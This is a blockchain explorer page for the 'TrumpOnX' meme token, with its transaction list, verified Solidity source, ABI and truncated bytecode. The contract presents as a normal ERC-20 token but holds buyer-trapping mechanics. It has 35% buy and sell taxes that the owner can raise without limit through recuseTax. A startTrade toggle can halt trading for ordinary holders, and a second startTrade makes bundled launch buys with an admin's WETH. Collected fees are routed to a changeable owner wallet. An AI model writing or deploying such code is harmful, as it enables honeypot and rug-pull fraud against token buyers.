More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 2,101 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Approve | 21241468 | 31 hrs ago | IN | 0 ETH | 0.00023569 | ||||
Approve | 21199687 | 7 days ago | IN | 0 ETH | 0.00030982 | ||||
Approve | 21199685 | 7 days ago | IN | 0 ETH | 0.00029217 | ||||
Transfer | 21198764 | 7 days ago | IN | 0 ETH | 0.00105935 | ||||
Approve | 21197529 | 7 days ago | IN | 0 ETH | 0.00064456 | ||||
Transfer | 21195623 | 7 days ago | IN | 0 ETH | 0.00209678 | ||||
Approve | 21121789 | 18 days ago | IN | 0 ETH | 0.00015807 | ||||
Approve | 21100682 | 20 days ago | IN | 0 ETH | 0.00030922 | ||||
Transfer | 21098313 | 21 days ago | IN | 0 ETH | 0.00021627 | ||||
Transfer | 21098306 | 21 days ago | IN | 0 ETH | 0.00023868 | ||||
Approve | 21080089 | 23 days ago | IN | 0 ETH | 0.00074259 | ||||
Approve | 21072880 | 24 days ago | IN | 0 ETH | 0.00061598 | ||||
Approve | 21061734 | 26 days ago | IN | 0 ETH | 0.00031697 | ||||
Approve | 21048700 | 28 days ago | IN | 0 ETH | 0.00013385 | ||||
Approve | 21033382 | 30 days ago | IN | 0 ETH | 0.00029488 | ||||
Approve | 21002234 | 34 days ago | IN | 0 ETH | 0.0002309 | ||||
Approve | 21000784 | 34 days ago | IN | 0 ETH | 0.00058694 | ||||
Approve | 21000566 | 34 days ago | IN | 0 ETH | 0.00160188 | ||||
Approve | 20998354 | 35 days ago | IN | 0 ETH | 0.00052442 | ||||
Approve | 20997743 | 35 days ago | IN | 0 ETH | 0.00045681 | ||||
Approve | 20977451 | 38 days ago | IN | 0 ETH | 0.00050432 | ||||
Approve | 20968939 | 39 days ago | IN | 0 ETH | 0.00072076 | ||||
Approve | 20966405 | 39 days ago | IN | 0 ETH | 0.00076139 | ||||
Transfer | 20963840 | 40 days ago | IN | 0 ETH | 0.00174783 | ||||
Approve | 20952665 | 41 days ago | IN | 0 ETH | 0.00043348 |
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
Contract Name:
TrumpOnX
Compiler Version
v0.8.17+commit.8df45f5f
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-08-12 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.17; interface IERC20 { function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer( address recipient, uint256 amount ) external returns (bool); function allowance( address owner, address spender ) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } interface IUniswapRouter { function getAmountsOut( uint amountIn, address[] calldata path ) external view returns (uint[] memory amounts); function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } interface IUniswapFactory { function getPair( address tokenA, address tokenB ) external view returns (address pair); function createPair( address tokenA, address tokenB ) external returns (address pair); } abstract contract Ownable { address internal _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = msg.sender; _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == msg.sender, "you are not owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "new is 0"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract TrumpOnX is IERC20, Ownable { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; address public router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address public receiveAddr = 0x5519f6F7e749b1A02817e0c5ed94d1E9C2f8cb37; address payable public mkt = payable(0xe24CFd92cf59D12B6eF36D36F3038478307a00D6); string private _name; string private _symbol; uint8 private _decimals; mapping(address => bool) public _isExcludeFromFee; uint256 private _totalSupply; IUniswapRouter public _uniswapRouter; mapping(address => bool) public isMarketPair; bool private inSwap; uint256 private constant MAX = ~uint256(0); address public _uniswapPair; modifier lockTheSwap() { inSwap = true; _; inSwap = false; } constructor() { _name = unicode"Trump On X"; _symbol = "TrumpOnX"; _decimals = 18; uint256 Supply = 4206900000000; _totalSupply = Supply * 10 ** _decimals; swapAtAmount = _totalSupply / 20000; _balances[receiveAddr] = _totalSupply; emit Transfer(address(0), receiveAddr, _totalSupply); _isExcludeFromFee[address(this)] = true; _isExcludeFromFee[receiveAddr] = true; _isExcludeFromFee[mkt] = true; IUniswapRouter swapRouter = IUniswapRouter(router); _uniswapRouter = swapRouter; _allowances[address(this)][address(swapRouter)] = MAX; IUniswapFactory swapFactory = IUniswapFactory(swapRouter.factory()); _uniswapPair = swapFactory.createPair(address(this), swapRouter.WETH()); isMarketPair[_uniswapPair] = true; IERC20(_uniswapRouter.WETH()).approve( address(address(_uniswapRouter)), ~uint256(0) ); _walletMAX = 0; transferOwnership(receiveAddr); } modifier onlyFunder() { require(_owner == msg.sender || receiveAddr == msg.sender, "!Funder"); _; } function setMKT(address payable newMKT) public onlyFunder { mkt = newMKT; } function symbol() external view override returns (string memory) { return _symbol; } function name() external view override returns (string memory) { return _name; } function decimals() external view override returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer( address recipient, uint256 amount ) public override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance( address owner, address spender ) public view override returns (uint256) { return _allowances[owner][spender]; } function approve( address spender, uint256 amount ) public override returns (bool) { _approve(msg.sender, spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); if (_allowances[sender][msg.sender] != MAX) { _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount; } return true; } function _approve(address owner, address spender, uint256 amount) private { _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _basicTransfer( address sender, address recipient, uint256 amount ) internal returns (bool) { _balances[sender] -= amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); return true; } uint256 public _buyCount = 0; uint256 private _initialBuyTax = 35; uint256 private _initialSellTax = 35; uint256 private _finalBuyTax = 35; uint256 private _finalSellTax = 35; uint256 private _reduceBuyTaxAt = 0; uint256 private _reduceSellTaxAt = 0; uint256 private _preventSwapBefore = 0; function recuseTax( uint256 newBuy, uint256 newSell, uint256 newReduceBuy, uint256 newReduceSell, uint256 newPreventSwapBefore ) public onlyOwner { _finalBuyTax = newBuy; _finalSellTax = newSell; _reduceBuyTaxAt = newReduceBuy; _reduceSellTaxAt = newReduceSell; _preventSwapBefore = newPreventSwapBefore; } bool public remainHolder = true; function changeRemain() public onlyOwner { remainHolder = !remainHolder; } uint256 swapAtAmount; function setSwapAtAmount(uint256 newValue) public onlyOwner { swapAtAmount = newValue; } uint256 public _walletMAX; function setWalletMax(uint256 walletM_) public onlyOwner { _walletMAX = walletM_; } function _transfer(address from, address to, uint256 amount) private { uint256 balance = balanceOf(from); require(balance >= amount, "balanceNotEnough"); if (inSwap) { _basicTransfer(from, to, amount); return; } bool takeFee; if ( isMarketPair[to] && !inSwap && !_isExcludeFromFee[from] && !_isExcludeFromFee[to] && _buyCount > _preventSwapBefore ) { uint256 _numSellToken = amount; if (_numSellToken > balanceOf(address(this))) { _numSellToken = _balances[address(this)]; } if (_numSellToken > swapAtAmount) { swapTokenForETH(_numSellToken); } } if (!_isExcludeFromFee[from] && !_isExcludeFromFee[to] && !inSwap) { require(startTradeBlock > 0); takeFee = true; if ( isMarketPair[from] && to != address(_uniswapRouter) && !_isExcludeFromFee[to] ) { _buyCount++; if (_walletMAX > 0) { require( balanceOf(to) + amount <= _walletMAX, "walletlimit" ); } } if (remainHolder && amount == balance) { amount = amount - (amount / 100000000); } } _transferToken(from, to, amount, takeFee); } function _transferToken( address sender, address recipient, uint256 tAmount, bool takeFee ) private { _balances[sender] = _balances[sender] - tAmount; uint256 feeAmount; if (takeFee) { uint256 taxFee; if (isMarketPair[recipient]) { taxFee = _buyCount > _reduceSellTaxAt ? _finalSellTax : _initialSellTax; } else if (isMarketPair[sender]) { taxFee = _buyCount > _reduceBuyTaxAt ? _finalBuyTax : _initialBuyTax; } uint256 swapAmount = (tAmount * taxFee) / 100; if (swapAmount > 0) { feeAmount += swapAmount; _balances[address(this)] = _balances[address(this)] + swapAmount; emit Transfer(sender, address(this), swapAmount); } } _balances[recipient] = _balances[recipient] + (tAmount - feeAmount); emit Transfer(sender, recipient, tAmount - feeAmount); } uint256 public startTradeBlock; function startTrade() public onlyOwner { startTradeBlock = startTradeBlock == 0 ? block.number : 0; } function startTrade( address admin, address[] calldata adrs, uint256 per ) public onlyOwner { address weth = _uniswapRouter.WETH(); IERC20(weth).approve(address(_uniswapRouter), ~uint256(0)); IERC20(weth).transferFrom( admin, address(this), IERC20(weth).balanceOf(admin) ); for (uint i = 0; i < adrs.length; i++) { swapToken(per, adrs[i]); } startTradeBlock = block.number; uint256 _bal = IERC20(weth).balanceOf(address(this)); if (_bal > 0) { IERC20(weth).transfer(admin, _bal); } } function swapToken(uint256 tokenAmount, address to) private lockTheSwap { address weth = _uniswapRouter.WETH(); address[] memory path = new address[](2); path[0] = address(weth); path[1] = address(this); address[] memory sellpath = new address[](2); sellpath[0] = address(this); sellpath[1] = address(weth); uint256 _bal = IERC20(weth).balanceOf(address(this)); uint256 buyAmount = _uniswapRouter.getAmountsOut(tokenAmount, sellpath)[ 1 ]; buyAmount = buyAmount > _bal ? _bal : buyAmount; if (buyAmount == 0) return; _uniswapRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens( buyAmount, 0, path, address(to), block.timestamp ); } function removeERC20(address _token) external { if (_token != address(this)) { IERC20(_token).transfer( mkt, IERC20(_token).balanceOf(address(this)) ); mkt.transfer(address(this).balance); } } function swapTokenForETH(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswapRouter.WETH(); _uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, mkt, block.timestamp ); } function setFeeExclude(address[] memory accounts, bool value) public onlyOwner { for(uint i=0;i<accounts.length;i++){ _isExcludeFromFee[accounts[i]] = value; } } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludeFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapRouter","outputs":[{"internalType":"contract IUniswapRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_walletMAX","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"changeRemain","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"mkt","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"receiveAddr","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newBuy","type":"uint256"},{"internalType":"uint256","name":"newSell","type":"uint256"},{"internalType":"uint256","name":"newReduceBuy","type":"uint256"},{"internalType":"uint256","name":"newReduceSell","type":"uint256"},{"internalType":"uint256","name":"newPreventSwapBefore","type":"uint256"}],"name":"recuseTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"remainHolder","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"}],"name":"removeERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setFeeExclude","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"newMKT","type":"address"}],"name":"setMKT","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newValue","type":"uint256"}],"name":"setSwapAtAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"walletM_","type":"uint256"}],"name":"setWalletMax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"admin","type":"address"},{"internalType":"address[]","name":"adrs","type":"address[]"},{"internalType":"uint256","name":"per","type":"uint256"}],"name":"startTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTradeBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052737a250d5630b4cf539739df2c5dacb4c659f2488d600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550735519f6f7e749b1a02817e0c5ed94d1e9c2f8cb37600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073e24cfd92cf59d12b6ef36d36f3038478307a00d6600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600e556023600f556023601055602360115560236012556000601355600060145560006015556001601660006101000a81548160ff0219169083151502179055503480156200015357600080fd5b506000339050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506040518060400160405280600a81526020017f5472756d70204f6e205800000000000000000000000000000000000000000000815250600690816200023b919062000dfb565b506040518060400160405280600881526020017f5472756d704f6e580000000000000000000000000000000000000000000000008152506007908162000282919062000dfb565b506012600860006101000a81548160ff021916908360ff16021790555060006503d37ec7b5009050600860009054906101000a900460ff16600a620002c8919062001072565b81620002d59190620010c3565b600a81905550614e20600a54620002ed91906200113d565b601781905550600a5460016000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600a54604051620003df919062001186565b60405180910390a36001600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160096000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160096000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905080600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600019600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200066c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200069291906200120d565b90508073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308473ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620006fd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200072391906200120d565b6040518363ffffffff1660e01b81526004016200074292919062001250565b6020604051808303816000875af115801562000762573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200078891906200120d565b600d60016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600c6000600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620008b0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620008d691906200120d565b73ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000196040518363ffffffff1660e01b8152600401620009369291906200127d565b6020604051808303816000875af115801562000956573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200097c9190620012e7565b506000601881905550620009b8600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16620009c160201b60201c565b5050506200140e565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161462000a52576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000a49906200137a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160362000ac4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000abb90620013ec565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000c0357607f821691505b60208210810362000c195762000c1862000bbb565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b60006008830262000c837fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000c44565b62000c8f868362000c44565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000cdc62000cd662000cd08462000ca7565b62000cb1565b62000ca7565b9050919050565b6000819050919050565b62000cf88362000cbb565b62000d1062000d078262000ce3565b84845462000c51565b825550505050565b600090565b62000d2762000d18565b62000d3481848462000ced565b505050565b5b8181101562000d5c5762000d5060008262000d1d565b60018101905062000d3a565b5050565b601f82111562000dab5762000d758162000c1f565b62000d808462000c34565b8101602085101562000d90578190505b62000da862000d9f8562000c34565b83018262000d39565b50505b505050565b600082821c905092915050565b600062000dd06000198460080262000db0565b1980831691505092915050565b600062000deb838362000dbd565b9150826002028217905092915050565b62000e068262000b81565b67ffffffffffffffff81111562000e225762000e2162000b8c565b5b62000e2e825462000bea565b62000e3b82828562000d60565b600060209050601f83116001811462000e73576000841562000e5e578287015190505b62000e6a858262000ddd565b86555062000eda565b601f19841662000e838662000c1f565b60005b8281101562000ead5784890151825560018201915060208501945060208101905062000e86565b8683101562000ecd578489015162000ec9601f89168262000dbd565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000f705780860481111562000f485762000f4762000ee2565b5b600185161562000f585780820291505b808102905062000f688562000f11565b945062000f28565b94509492505050565b60008262000f8b57600190506200105e565b8162000f9b57600090506200105e565b816001811462000fb4576002811462000fbf5762000ff5565b60019150506200105e565b60ff84111562000fd45762000fd362000ee2565b5b8360020a91508482111562000fee5762000fed62000ee2565b5b506200105e565b5060208310610133831016604e8410600b84101617156200102f5782820a90508381111562001029576200102862000ee2565b5b6200105e565b6200103e848484600162000f1e565b9250905081840481111562001058576200105762000ee2565b5b81810290505b9392505050565b600060ff82169050919050565b60006200107f8262000ca7565b91506200108c8362001065565b9250620010bb7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000f79565b905092915050565b6000620010d08262000ca7565b9150620010dd8362000ca7565b9250828202620010ed8162000ca7565b9150828204841483151762001107576200110662000ee2565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006200114a8262000ca7565b9150620011578362000ca7565b9250826200116a57620011696200110e565b5b828204905092915050565b620011808162000ca7565b82525050565b60006020820190506200119d600083018462001175565b92915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620011d582620011a8565b9050919050565b620011e781620011c8565b8114620011f357600080fd5b50565b6000815190506200120781620011dc565b92915050565b600060208284031215620012265762001225620011a3565b5b60006200123684828501620011f6565b91505092915050565b6200124a81620011c8565b82525050565b60006040820190506200126760008301856200123f565b6200127660208301846200123f565b9392505050565b60006040820190506200129460008301856200123f565b620012a3602083018462001175565b9392505050565b60008115159050919050565b620012c181620012aa565b8114620012cd57600080fd5b50565b600081519050620012e181620012b6565b92915050565b6000602082840312156200130057620012ff620011a3565b5b60006200131084828501620012d0565b91505092915050565b600082825260208201905092915050565b7f796f7520617265206e6f74206f776e6572000000000000000000000000000000600082015250565b60006200136260118362001319565b91506200136f826200132a565b602082019050919050565b60006020820190508181036000830152620013958162001353565b9050919050565b7f6e65772069732030000000000000000000000000000000000000000000000000600082015250565b6000620013d460088362001319565b9150620013e1826200139c565b602082019050919050565b600060208201905081810360008301526200140781620013c5565b9050919050565b613ce7806200141e6000396000f3fe6080604052600436106101e75760003560e01c806365b61b7711610102578063a67755c211610095578063cefab2af11610064578063cefab2af146106c9578063dd62ed3e146106f4578063f2fde38b14610731578063f887ea401461075a576101ee565b8063a67755c214610623578063a9059cbb1461064c578063bc2b8fb714610689578063bc76c052146106b2576101ee565b80637cc5b1e6116100d15780637cc5b1e6146105795780638da5cb5b146105a45780638ff4013f146105cf57806395d89b41146105f8576101ee565b806365b61b77146104e35780636c5808011461050e57806370a0823114610525578063715018a614610562576101ee565b806336b2e0271161017a5780634bf28fd0116101495780634bf28fd01461043b578063553193ca1461046657806358e56b63146104915780636402511e146104ba576101ee565b806336b2e0271461036f5780633e0cdeb1146103ac5780633ecad271146103d55780633f80b6d714610412576101ee565b806323b872dd116101b657806323b872dd146102b157806327b1a8e9146102ee578063313ce567146103195780633455a9db14610344576101ee565b806306fdde03146101f3578063095ea7b31461021e57806318160ddd1461025b5780631b58374914610286576101ee565b366101ee57005b600080fd5b3480156101ff57600080fd5b50610208610785565b6040516102159190612d4b565b60405180910390f35b34801561022a57600080fd5b5061024560048036038101906102409190612e15565b610817565b6040516102529190612e70565b60405180910390f35b34801561026757600080fd5b5061027061082e565b60405161027d9190612e9a565b60405180910390f35b34801561029257600080fd5b5061029b610838565b6040516102a89190612e9a565b60405180910390f35b3480156102bd57600080fd5b506102d860048036038101906102d39190612eb5565b61083e565b6040516102e59190612e70565b60405180910390f35b3480156102fa57600080fd5b506103036109e4565b6040516103109190612e9a565b60405180910390f35b34801561032557600080fd5b5061032e6109ea565b60405161033b9190612f24565b60405180910390f35b34801561035057600080fd5b50610359610a01565b6040516103669190612f4e565b60405180910390f35b34801561037b57600080fd5b5061039660048036038101906103919190612f69565b610a27565b6040516103a39190612e70565b60405180910390f35b3480156103b857600080fd5b506103d360048036038101906103ce9190612fd4565b610a47565b005b3480156103e157600080fd5b506103fc60048036038101906103f79190612f69565b610b71565b6040516104099190612e70565b60405180910390f35b34801561041e57600080fd5b5061043960048036038101906104349190613001565b610b91565b005b34801561044757600080fd5b50610450610c49565b60405161045d9190612f4e565b60405180910390f35b34801561047257600080fd5b5061047b610c6f565b6040516104889190612e9a565b60405180910390f35b34801561049d57600080fd5b506104b860048036038101906104b391906131f0565b610c75565b005b3480156104c657600080fd5b506104e160048036038101906104dc919061324c565b610d98565b005b3480156104ef57600080fd5b506104f8610e30565b60405161050591906132d8565b60405180910390f35b34801561051a57600080fd5b50610523610e56565b005b34801561053157600080fd5b5061054c60048036038101906105479190612f69565b610eff565b6040516105599190612e9a565b60405180910390f35b34801561056e57600080fd5b50610577610f48565b005b34801561058557600080fd5b5061058e611094565b60405161059b9190613302565b60405180910390f35b3480156105b057600080fd5b506105b96110ba565b6040516105c69190612f4e565b60405180910390f35b3480156105db57600080fd5b506105f660048036038101906105f1919061324c565b6110e3565b005b34801561060457600080fd5b5061060d61117b565b60405161061a9190612d4b565b60405180910390f35b34801561062f57600080fd5b5061064a60048036038101906106459190612f69565b61120d565b005b34801561065857600080fd5b50610673600480360381019061066e9190612e15565b6113c7565b6040516106809190612e70565b60405180910390f35b34801561069557600080fd5b506106b060048036038101906106ab9190613378565b6113de565b005b3480156106be57600080fd5b506106c7611807565b005b3480156106d557600080fd5b506106de6118c1565b6040516106eb9190612e70565b60405180910390f35b34801561070057600080fd5b5061071b600480360381019061071691906133ec565b6118d4565b6040516107289190612e9a565b60405180910390f35b34801561073d57600080fd5b5061075860048036038101906107539190612f69565b61195b565b005b34801561076657600080fd5b5061076f611b15565b60405161077c9190612f4e565b60405180910390f35b6060600680546107949061345b565b80601f01602080910402602001604051908101604052809291908181526020018280546107c09061345b565b801561080d5780601f106107e25761010080835404028352916020019161080d565b820191906000526020600020905b8154815290600101906020018083116107f057829003601f168201915b5050505050905090565b6000610824338484611b3b565b6001905092915050565b6000600a54905090565b60185481565b600061084b848484611c26565b600019600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffff